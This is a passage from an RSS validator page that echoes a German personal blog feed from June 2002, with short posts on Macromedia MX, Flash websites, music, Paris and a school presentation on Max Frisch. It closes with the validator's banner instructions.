  19864.    <content:encoded><![CDATA[Die neue Version meines Graphikprogrammes erscheint und ich habs total verschlafen (liegt vermutlich am Stress der
  19865.  
  19866. Maturaarbeit).<br><br><a href="https://en.wikipedia.org/wiki/Macromedia" target="_blank"><b>Macromedia</b></a> hat nun die MX
  19867.  
  19868. Produktversionen fertiggestellt. Hab gerade die Fireworks MX Trial-Version gesaugt. Die Auswirkungen werdet ihr sicher in
  19869.  
  19870. nächster Zeit sehen ;-)<br>BTW: Laut Macromedia hat <b>MX</b> keine spezielle Bedeutung; schaut man aber auf die um bis zu
  19871.  
  19872. 100$ gestiegenen Preise, so erscheint <b>More eXpensive</b> doch ziemlich realistisch ;-)
  19873. ]]></content:encoded>
  19874.  </item>
  19875.  
  19876.  <item>
  19877.    <title>blo.gs-Ping</title>
  19878.    <link>https://blog.x-way.org/Coding/2002/06/12/blogs-Ping.html</link>
  19879.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=14</guid>
  19880.    <dc:creator>Andreas Jaggi</dc:creator>
  19881.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19882.    <pubDate>Wed, 12 Jun 2002 00:49:00 +0200</pubDate>
  19883.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19884.    <description><![CDATA[Bei <a href="http://www.blo.gs/" target="_blank">blo.gs</a> findet wann wie bei <a href="https://web.archive.org/web/20020526111552/http://www.weblogs.com:80/" target="_blank">weblogs.com</a> immer die aktuellsten Weblogs.<br>Um die Eintragung des eigenen Weblogs zu vereinfachen, hat <a href="http://www.pepilog.de/" target="_blank"><b>Pepino</b></a> ein kleines <a href="http://www.pepilog.de/downloads/allgemein.htm" target="_blank"><b>PHP-Script</b></a> geschrieben.
  19885. ]]></description>
  19886.    <content:encoded><![CDATA[Bei <a href="http://www.blo.gs/" target="_blank">blo.gs</a> findet wann wie bei <a href="https://web.archive.org/web/20020526111552/http://www.weblogs.com:80/" target="_blank">weblogs.com</a> immer die aktuellsten Weblogs.<br>Um die Eintragung des eigenen Weblogs zu vereinfachen, hat <a href="http://www.pepilog.de/" target="_blank"><b>Pepino</b></a> ein kleines <a href="http://www.pepilog.de/downloads/allgemein.htm" target="_blank"><b>PHP-Script</b></a> geschrieben.
  19887. ]]></content:encoded>
  19888.  </item>
  19889.  
  19890.  <item>
  19891.    <title>Blogger Code</title>
  19892.    <link>https://blog.x-way.org/Misc/2002/06/11/Blogger_Code.html</link>
  19893.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=13</guid>
  19894.    <dc:creator>Andreas Jaggi</dc:creator>
  19895.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19896.    <pubDate>Tue, 11 Jun 2002 17:20:00 +0200</pubDate>
  19897.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19898.    <description><![CDATA[Entdeckt und unverzüglich ausgefüllt: <a href="https://web.archive.org/web/20020604035148/http://www.leatheregg.com/bloggercode/" target="_blank"><b>Blogger Code</b></a><br>Und das hier ist rausgekommen:<br><a href="#" class="gone" target="_blank">B1 d t++ k s++ u-- f i o x e l c</a>
  19899. ]]></description>
  19900.    <content:encoded><![CDATA[Entdeckt und unverzüglich ausgefüllt: <a href="https://web.archive.org/web/20020604035148/http://www.leatheregg.com/bloggercode/" target="_blank"><b>Blogger Code</b></a><br>Und das hier ist rausgekommen:<br><a href="#" class="gone" target="_blank">B1 d t++ k s++ u-- f i o x e l c</a>
  19901. ]]></content:encoded>
  19902.  </item>
  19903.  
  19904.  <item>
  19905.    <title>CS im RL</title>
  19906.    <link>https://blog.x-way.org/Misc/2002/06/09/CS_im_RL.html</link>
  19907.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=12</guid>
  19908.    <dc:creator>Andreas Jaggi</dc:creator>
  19909.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19910.    <pubDate>Sun, 09 Jun 2002 02:53:00 +0200</pubDate>
  19911.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19912.    <description><![CDATA[Jemandem der schon einmal <a href="https://de.wikipedia.org/wiki/Counter-Strike_(Computerspiel)" target="_blank">CS</a> gespielt hat, darf man <a href="https://web.archive.org/web/20020808141214/http://www.towandas-turbulenzen.de/cs.htm" target="_blank"><b>das hier</b></a> auf keinen Fall vorenthalten!
  19913. ]]></description>
  19914.    <content:encoded><![CDATA[Jemandem der schon einmal <a href="https://de.wikipedia.org/wiki/Counter-Strike_(Computerspiel)" target="_blank">CS</a> gespielt hat, darf man <a href="https://web.archive.org/web/20020808141214/http://www.towandas-turbulenzen.de/cs.htm" target="_blank"><b>das hier</b></a> auf keinen Fall vorenthalten!
  19915. ]]></content:encoded>
  19916.  </item>
  19917.  
  19918.  <item>
  19919.    <title>Paris</title>
  19920.    <link>https://blog.x-way.org/Misc/2002/06/09/Paris.html</link>
  19921.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=11</guid>
  19922.    <dc:creator>Andreas Jaggi</dc:creator>
  19923.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19924.    <pubDate>Sun, 09 Jun 2002 00:42:00 +0200</pubDate>
  19925.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19926.    <description><![CDATA[Wieder einmal eine Website über meine <a href="https://web.archive.org/web/20020531040049/http://www.pariscope.fr/" target="_blank"><b>Lieblingsstadt</b></a> gefunden.<br>
  19927. ]]></description>
  19928.    <content:encoded><![CDATA[Wieder einmal eine Website über meine <a href="https://web.archive.org/web/20020531040049/http://www.pariscope.fr/" target="_blank"><b>Lieblingsstadt</b></a> gefunden.<br>
  19929. ]]></content:encoded>
  19930.  </item>
  19931.  
  19932.  <item>
  19933.    <title>f&#x26;ffff</title>
  19934.    <link>https://blog.x-way.org/Misc/2002/06/08/fffff.html</link>
  19935.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=10</guid>
  19936.    <dc:creator>Andreas Jaggi</dc:creator>
  19937.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19938.    <pubDate>Sat, 08 Jun 2002 18:02:00 +0200</pubDate>
  19939.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19940.    <description><![CDATA[<i>1. Was war dein letzter penetrantester Ohrwurm ? Wie wurde er ausgelöst ?</i><br>
  19941. Momentan ist es <b>An Apple A Day</b> von <b>Le Hammond Inferno</b>. Entdeckt beim Webradio-hören (<a href="https://web.archive.org/web/20020802102556/http://www.radiofreevirgin.com/" target="_blank">Radio Free Virgin</a>, Channel Magestore Paris).<br>
  19942. <i>2. Welche Musik-CD hast du dir zuletzt gekauft ? Was verbindest du mit der CD ?</i><br>
  19943. Das war <b>des Visages des Figures</b> von <b><a href="http://www.noirdez.com/">Noir Désir</a></b>. Damit verbinde ich vor allem die Erinnerung an eine wunderbare Woche in Paris.<br>
  19944. <i>3. Bei welchem Song würdest du dein Radiowecker am Liebsten an die Wand klatschen ?</i><br>
  19945. Bei vielen Songs; u.a. bei T.E.A.R.S, No Angels, Wonderwall ...<br>
  19946. <i>4. Bei welcher Musikgruppe/Musikrichtung gehst du total auf ?</i><br>
  19947. <b><a href="http://www.noirdez.com/">Noir Désir</a></b><br>
  19948. <i>5. Zippel-Zappel- oder Rumpel-Pumpel-Musik ?</i><br>
  19949. Eher Rumpel-Pumpel, aber ab und zu auch mal Zippel-Zappel<br><br><a href="https://web.archive.org/web/20020629034159/http://www.mywebwork.de/fiene.tv/akte_blog-275.php3#comm" target="_blank">fiene &amp; fünf fragen für freitag</a>
  19950. ]]></description>
  19951.    <content:encoded><![CDATA[<i>1. Was war dein letzter penetrantester Ohrwurm ? Wie wurde er ausgelöst ?</i><br>
  19952. Momentan ist es <b>An Apple A Day</b> von <b>Le Hammond Inferno</b>. Entdeckt beim Webradio-hören (<a href="https://web.archive.org/web/20020802102556/http://www.radiofreevirgin.com/" target="_blank">Radio Free Virgin</a>, Channel Magestore Paris).<br>
  19953. <i>2. Welche Musik-CD hast du dir zuletzt gekauft ? Was verbindest du mit der CD ?</i><br>
  19954. Das war <b>des Visages des Figures</b> von <b><a href="http://www.noirdez.com/">Noir Désir</a></b>. Damit verbinde ich vor allem die Erinnerung an eine wunderbare Woche in Paris.<br>
  19955. <i>3. Bei welchem Song würdest du dein Radiowecker am Liebsten an die Wand klatschen ?</i><br>
  19956. Bei vielen Songs; u.a. bei T.E.A.R.S, No Angels, Wonderwall ...<br>
  19957. <i>4. Bei welcher Musikgruppe/Musikrichtung gehst du total auf ?</i><br>
  19958. <b><a href="http://www.noirdez.com/">Noir Désir</a></b><br>
  19959. <i>5. Zippel-Zappel- oder Rumpel-Pumpel-Musik ?</i><br>
  19960. Eher Rumpel-Pumpel, aber ab und zu auch mal Zippel-Zappel<br><br><a href="https://web.archive.org/web/20020629034159/http://www.mywebwork.de/fiene.tv/akte_blog-275.php3#comm" target="_blank">fiene &amp; fünf fragen für freitag</a>
  19961. ]]></content:encoded>
  19962.  </item>
  19963.  
  19964.  <item>
  19965.    <title>Flash</title>
  19966.    <link>https://blog.x-way.org/Webdesign/2002/06/08/Flash.html</link>
  19967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=9</guid>
  19968.    <dc:creator>Andreas Jaggi</dc:creator>
  19969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19970.    <pubDate>Sat, 08 Jun 2002 17:26:00 +0200</pubDate>
  19971.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  19972.    <description><![CDATA[Etwas <a href="https://web.archive.org/web/20020802232734/http://www.humbugz.com/hela.htm" target="_blank"><b>wunderschönes ...</b></a>
  19973. ]]></description>
  19974.    <content:encoded><![CDATA[Etwas <a href="https://web.archive.org/web/20020802232734/http://www.humbugz.com/hela.htm" target="_blank"><b>wunderschönes ...</b></a>
  19975. ]]></content:encoded>
  19976.  </item>
  19977.  
  19978.  <item>
  19979.    <title>Schule</title>
  19980.    <link>https://blog.x-way.org/Misc/2002/06/08/Schule.html</link>
  19981.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=8</guid>
  19982.    <dc:creator>Andreas Jaggi</dc:creator>
  19983.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19984.    <pubDate>Sat, 08 Jun 2002 16:05:00 +0200</pubDate>
  19985.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19986.    <description><![CDATA[Letzte Woche war so richtig stressig. <b>Zwei</b> Referate und <b>drei</b> Proben. Durchschnittlich <b>drei</b> Stunden Schlaf! Nicht sonderbar verwunderlich, dass ich heute bis 13.30 Uhr geschlafen habe.<br>Hier noch zwei Erzeugnisse meiner Schlaflosigkeit:<br><br><b><a href="https://blog.x-way.org/stuff/maxfrisch.txt" target="_blank">Max Frisch - Santa Cruz</a></b><br><b><a href="https://blog.x-way.org/stuff/friedrichduerrenmatt.txt" target="_blank">Friedrich Dürrenmatt</a></b><br>
  19987. ]]></description>
  19988.    <content:encoded><![CDATA[Letzte Woche war so richtig stressig. <b>Zwei</b> Referate und <b>drei</b> Proben. Durchschnittlich <b>drei</b> Stunden Schlaf! Nicht sonderbar verwunderlich, dass ich heute bis 13.30 Uhr geschlafen habe.<br>Hier noch zwei Erzeugnisse meiner Schlaflosigkeit:<br><br><b><a href="https://blog.x-way.org/stuff/maxfrisch.txt" target="_blank">Max Frisch - Santa Cruz</a></b><br><b><a href="https://blog.x-way.org/stuff/friedrichduerrenmatt.txt" target="_blank">Friedrich Dürrenmatt</a></b><br>
  19989. ]]></content:encoded>
  19990.  </item>
  19991.  
  19992.  <item>
  19993.    <title>Flash-Sites</title>
  19994.    <link>https://blog.x-way.org/Webdesign/2002/06/06/Flash-Sites1.html</link>
  19995.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=7</guid>
  19996.    <dc:creator>Andreas Jaggi</dc:creator>
  19997.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19998.    <pubDate>Thu, 06 Jun 2002 23:34:00 +0200</pubDate>
  19999.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  20000.    <description><![CDATA[Gerade so ins Auge gestochen sind mir:<br><br>
  20001. Verrücktes Design, aber trotzdem ansprechend: <a href="https://web.archive.org/web/20020726013257/http://www.jureta.com/" target="_blank"><b>http://www.jureta.com/</b></a><br>
  20002. Minimalistisches Layout: <a href="https://web.archive.org/web/20020722112138/http://www.soerianto.net/" target="_blank"><b>http://www.soerianto.net/</b></a><br>
  20003. Gewöhnungsbedürftig: <a href="https://web.archive.org/web/20030110115541/http://flakk.pixelwar.at/" target="_blank"><b>http://flakk.pixelwar.at/</b></a><br>
  20004. Technisch hochstehend: <a href="https://web.archive.org/web/20020604193551/http://www.acme24.de/" target="_blank"><b>http://www.acme24.de/</b></a>
  20005. ]]></description>
  20006.    <content:encoded><![CDATA[Gerade so ins Auge gestochen sind mir:<br><br>
  20007. Verrücktes Design, aber trotzdem ansprechend: <a href="https://web.archive.org/web/20020726013257/http://www.jureta.com/" target="_blank"><b>http://www.jureta.com/</b></a><br>
  20008. Minimalistisches Layout: <a href="https://web.archive.org/web/20020722112138/http://www.soerianto.net/" target="_blank"><b>http://www.soerianto.net/</b></a><br>
  20009. Gewöhnungsbedürftig: <a href="https://web.archive.org/web/20030110115541/http://flakk.pixelwar.at/" target="_blank"><b>http://flakk.pixelwar.at/</b></a><br>
  20010. Technisch hochstehend: <a href="https://web.archive.org/web/20020604193551/http://www.acme24.de/" target="_blank"><b>http://www.acme24.de/</b></a>
  20011. ]]></content:encoded>
  20012.  </item>
  20013.  
  20014.  <item>
  20015.    <title>Farbenlehre</title>
  20016.    <link>https://blog.x-way.org/Webdesign/2002/06/06/Farbenlehre.html</link>
  20017.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=6</guid>
  20018.    <dc:creator>Andreas Jaggi</dc:creator>
  20019.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  20020.    <pubDate>Thu, 06 Jun 2002 22:08:00 +0200</pubDate>
  20021.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  20022.    <description><![CDATA[Auf <a href="https://web.archive.org/web/20051028074738/http://metacolor.de/" target="_blank"><b>metacolor.de</b></a> hat es ein IMHO sehr gutes Tutorial zum Thema <b>Farben im Internet</b>. Besonders geeignet für Leute, die, wie ich, im Umgang mit Farben nicht besonders geschickt sind. ;-)
  20023. ]]></description>
  20024.    <content:encoded><![CDATA[Auf <a href="https://web.archive.org/web/20051028074738/http://metacolor.de/" target="_blank"><b>metacolor.de</b></a> hat es ein IMHO sehr gutes Tutorial zum Thema <b>Farben im Internet</b>. Besonders geeignet für Leute, die, wie ich, im Umgang mit Farben nicht besonders geschickt sind. ;-)
  20025. ]]></content:encoded>
  20026.  </item>
  20027.  
  20028.  <item>
  20029.    <title>Gelungene Kombination</title>
  20030.    <link>https://blog.x-way.org/Misc/2002/06/04/Gelungene_Kombination.html</link>
  20031.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=5</guid>
  20032.    <dc:creator>Andreas Jaggi</dc:creator>
  20033.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  20034.    <pubDate>Tue, 04 Jun 2002 22:46:00 +0200</pubDate>
  20035.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  20036.    <description><![CDATA[Die Website von <a href="https://web.archive.org/web/20020718184032/http://www.mediapride.de/" target="_blank"><b>Mediapride</b></a> setzt Flash sehr geschickt ein. Man beachte die elegante Navigationsleiste.
  20037. ]]></description>
  20038.    <content:encoded><![CDATA[Die Website von <a href="https://web.archive.org/web/20020718184032/http://www.mediapride.de/" target="_blank"><b>Mediapride</b></a> setzt Flash sehr geschickt ein. Man beachte die elegante Navigationsleiste.
  20039. ]]></content:encoded>
  20040.  </item>
  20041.  
  20042.  <item>
  20043.    <title>Referat über Max Frisch - Santa Cruz</title>
  20044.    <link>https://blog.x-way.org/Misc/2002/06/04/Referat_ueber_Max_Frisch_-_Santa_Cruz.html</link>
  20045.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=4</guid>
  20046.    <dc:creator>Andreas Jaggi</dc:creator>
  20047.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  20048.    <pubDate>Tue, 04 Jun 2002 01:49:00 +0200</pubDate>
  20049.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  20050.    <description><![CDATA[Endlich! Nach <b>langer</b> und <b>harter</b> Arbeit ist mein 15-Minuten-Referat über das Stück Santa Cruz von Max Frisch fertig.<br><br>Zur Belohnung gibt es einen Einblick in meine Lieblingsstadt (leider nur für IE-Benutzer):<br>
  20051. <a href="javascript:var cam = window.open('https://blog.x-way.org/stuff/paris-cam.htm','cam','directories=no,fullscreen=no,height=291,innerHeight=291,innerWidth=358,location=no,menubar=no,personalbar=no,resizable=yes,scrollbars=no,status=no,toolbar=no,titlebar=no,width=358');">Klick!</a>
  20052. ]]></description>
  20053.    <content:encoded><![CDATA[Endlich! Nach <b>langer</b> und <b>harter</b> Arbeit ist mein 15-Minuten-Referat über das Stück Santa Cruz von Max Frisch fertig.<br><br>Zur Belohnung gibt es einen Einblick in meine Lieblingsstadt (leider nur für IE-Benutzer):<br>
  20054. <a href="javascript:var cam = window.open('https://blog.x-way.org/stuff/paris-cam.htm','cam','directories=no,fullscreen=no,height=291,innerHeight=291,innerWidth=358,location=no,menubar=no,personalbar=no,resizable=yes,scrollbars=no,status=no,toolbar=no,titlebar=no,width=358');">Klick!</a>
  20055. ]]></content:encoded>
  20056.  </item>
  20057.  
  20058.  <item>
  20059.    <title>Bier-Computer</title>
  20060.    <link>https://blog.x-way.org/Misc/2002/06/03/Bier-Computer.html</link>
  20061.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=3</guid>
  20062.    <dc:creator>Andreas Jaggi</dc:creator>
  20063.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  20064.    <pubDate>Mon, 03 Jun 2002 16:14:00 +0200</pubDate>
  20065.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  20066.    <description><![CDATA[Bei diesem Modell ist die <b>*Kühlung*</b> sicher kein Problem. Jedenfalls für den Benutzer. ;-)<br><br><img src="https://blog.x-way.org/images/beerpc.jpg" width="246" height="350" style="border: 1px solid #454545;" alt="Bier-Computer"><br><br>Gefunden bei <a href="https://web.archive.org/web/20020711232045/http://www.hitechmods.com/gallery/page13/page13.shtml" target="_blank">http://www.hitechmods.com/gallery/page13/page13.shtml</a>
  20067. ]]></description>
  20068.    <content:encoded><![CDATA[Bei diesem Modell ist die <b>*Kühlung*</b> sicher kein Problem. Jedenfalls für den Benutzer. ;-)<br><br><img src="https://blog.x-way.org/images/beerpc.jpg" width="246" height="350" style="border: 1px solid #454545;" alt="Bier-Computer"><br><br>Gefunden bei <a href="https://web.archive.org/web/20020711232045/http://www.hitechmods.com/gallery/page13/page13.shtml" target="_blank">http://www.hitechmods.com/gallery/page13/page13.shtml</a>
  20069. ]]></content:encoded>
  20070.  </item>
  20071.  
  20072.  <item>
  20073.    <title>Flash-Sites</title>
  20074.    <link>https://blog.x-way.org/Webdesign/2002/06/03/Flash-Sites.html</link>
  20075.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=2</guid>
  20076.    <dc:creator>Andreas Jaggi</dc:creator>
  20077.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  20078.    <pubDate>Mon, 03 Jun 2002 08:50:00 +0200</pubDate>
  20079.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  20080.    <description><![CDATA[Beim (<b>*unerlaubten*</b>) Surfen aufgefallen:<br><a href="http://www.2advanced.com">http://www.2advanced.com</a>
  20081. ]]></description>
  20082.    <content:encoded><![CDATA[Beim (<b>*unerlaubten*</b>) Surfen aufgefallen:<br><a href="http://www.2advanced.com">http://www.2advanced.com</a>
  20083. ]]></content:encoded>
  20084.  </item>
  20085.  
  20086. </channel>
  20087. </rss>
  20088.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.rssboard.org/rss-validator/check.cgi?url=http%3A//blog.x-way.org/rss.xml

Software created by Sam Ruby, Mark Pilgrim, Joseph Walton and Phil Ringnalda